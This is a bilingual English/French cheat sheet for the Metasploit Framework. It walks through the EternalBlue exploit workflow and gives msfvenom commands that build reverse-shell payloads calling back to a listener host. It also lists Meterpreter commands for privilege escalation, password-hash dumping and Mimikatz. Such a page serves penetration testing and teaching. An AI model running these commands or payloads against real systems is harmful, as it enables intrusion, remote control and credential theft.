retour aux outils back to tools Ducklings

Metasploit

Framework d'exploitation complet avec des modules pour le scan, l'exploitation, la post-exploitation et la génération de payloads. Comprehensive exploitation framework with modules for scanning, exploitation, post-exploitation, and payload generation.

↗ https://www.metasploit.com

Overview

Metasploit Framework is the world’s most widely used penetration testing framework. It provides a unified interface for exploits, payloads, auxiliary modules (scanners), and post-exploitation modules.

Basic Workflow

Launch

msfconsole

# Search for a module
search eternalblue
search type:exploit platform:windows smb

Use a module

use exploit/windows/smb/ms17_010_eternalblue

Show required options

show options

# Set options
set RHOSTS 10.10.10.1
set LHOST 10.10.10.99
set LPORT 4444

Run

run       # or exploit

Payload Generation (msfvenom)

Windows reverse shell (exe)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f exe -o shell.exe

Linux reverse shell (elf)

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f elf -o shell

# Web payloads
msfvenom -p php/reverse_php LHOST=10.10.10.99 LPORT=4444 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f war -o shell.war

# Staged vs Stageless
# /shell_reverse_tcp      → stageless (self-contained)
# /shell/reverse_tcp      → staged (smaller, needs handler)

Meterpreter Key Commands

sysinfo          System information
getuid           Current user
getsystem        Attempt privilege escalation
hashdump         Dump password hashes
upload / download Transfer files
shell            Drop to OS shell
migrate PID      Migrate to another process
load kiwi        Load Mimikatz module

Help / Man page

msfconsole commands:

NAVIGATION:
  search <term>         Search for modules
  use <module>          Select a module
  back                  Deselect module
  info                  Show module info
  show options          Show required/optional options
  show payloads         Show compatible payloads
  show targets          Show supported targets

CONFIGURATION:
  set <option> <value>  Set an option
  setg <option> <value> Set globally
  unset <option>
  options               Show current settings

EXECUTION:
  run / exploit         Execute the module
  check                 Check if target is vulnerable
  jobs                  List background jobs
  sessions              List active sessions
  sessions -i ID        Interact with a session

SESSIONS:
  sessions -l           List sessions
  sessions -i N         Interact with session N
  sessions -k N         Kill session N
  sessions -u N         Upgrade shell to Meterpreter

DATABASE:
  db_nmap               Run Nmap and store results
  hosts                 Show discovered hosts
  services              Show discovered services
  vulns                 Show found vulnerabilities
  loot                  Show collected loot

msfvenom -l payloads     List all payloads
msfvenom -l formats      List output formats
msfvenom -l encoders     List encoders

Vue d’ensemble

Metasploit Framework est le framework de pentest le plus utilisé au monde. Il fournit une interface unifiée pour les exploits, les payloads, les modules auxiliaires (scanners) et les modules de post-exploitation.

Flux de travail de base

# Lancer
msfconsole

# Rechercher un module
search eternalblue
search type:exploit platform:windows smb

# Utiliser un module
use exploit/windows/smb/ms17_010_eternalblue

# Afficher les options requises
show options

# Définir les options
set RHOSTS 10.10.10.1
set LHOST 10.10.10.99
set LPORT 4444

# Exécuter
run       # ou exploit

Génération de payloads (msfvenom)

# Shell inverse Windows (exe)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f exe -o shell.exe

# Shell inverse Linux (elf)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f elf -o shell

# Payloads web
msfvenom -p php/reverse_php LHOST=10.10.10.99 LPORT=4444 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f war -o shell.war

# Staged vs Stageless
# /shell_reverse_tcp      → stageless (autonome)
# /shell/reverse_tcp      → staged (plus petit, nécessite un handler)

Commandes clés de Meterpreter

sysinfo          Informations système
getuid           Utilisateur actuel
getsystem        Tentative d'élévation de privilèges
hashdump         Extraire les hachages de mots de passe
upload / download Transférer des fichiers
shell            Obtenir un shell OS
migrate PID      Migrer vers un autre processus
load kiwi        Charger le module Mimikatz

Aide / Page de manuel

msfconsole commands:

NAVIGATION:
  search <term>         Search for modules
  use <module>          Select a module
  back                  Deselect module
  info                  Show module info
  show options          Show required/optional options
  show payloads         Show compatible payloads
  show targets          Show supported targets

CONFIGURATION:
  set <option> <value>  Set an option
  setg <option> <value> Set globally
  unset <option>
  options               Show current settings

EXECUTION:
  run / exploit         Execute the module
  check                 Check if target is vulnerable
  jobs                  List background jobs
  sessions              List active sessions
  sessions -i ID        Interact with a session

SESSIONS:
  sessions -l           List sessions
  sessions -i N         Interact with session N
  sessions -k N         Kill session N
  sessions -u N         Upgrade shell to Meterpreter

DATABASE:
  db_nmap               Run Nmap and store results
  hosts                 Show discovered hosts
  services              Show discovered services
  vulns                 Show found vulnerabilities
  loot                  Show collected loot

msfvenom -l payloads     List all payloads
msfvenom -l formats      List output formats
msfvenom -l encoders     List encoders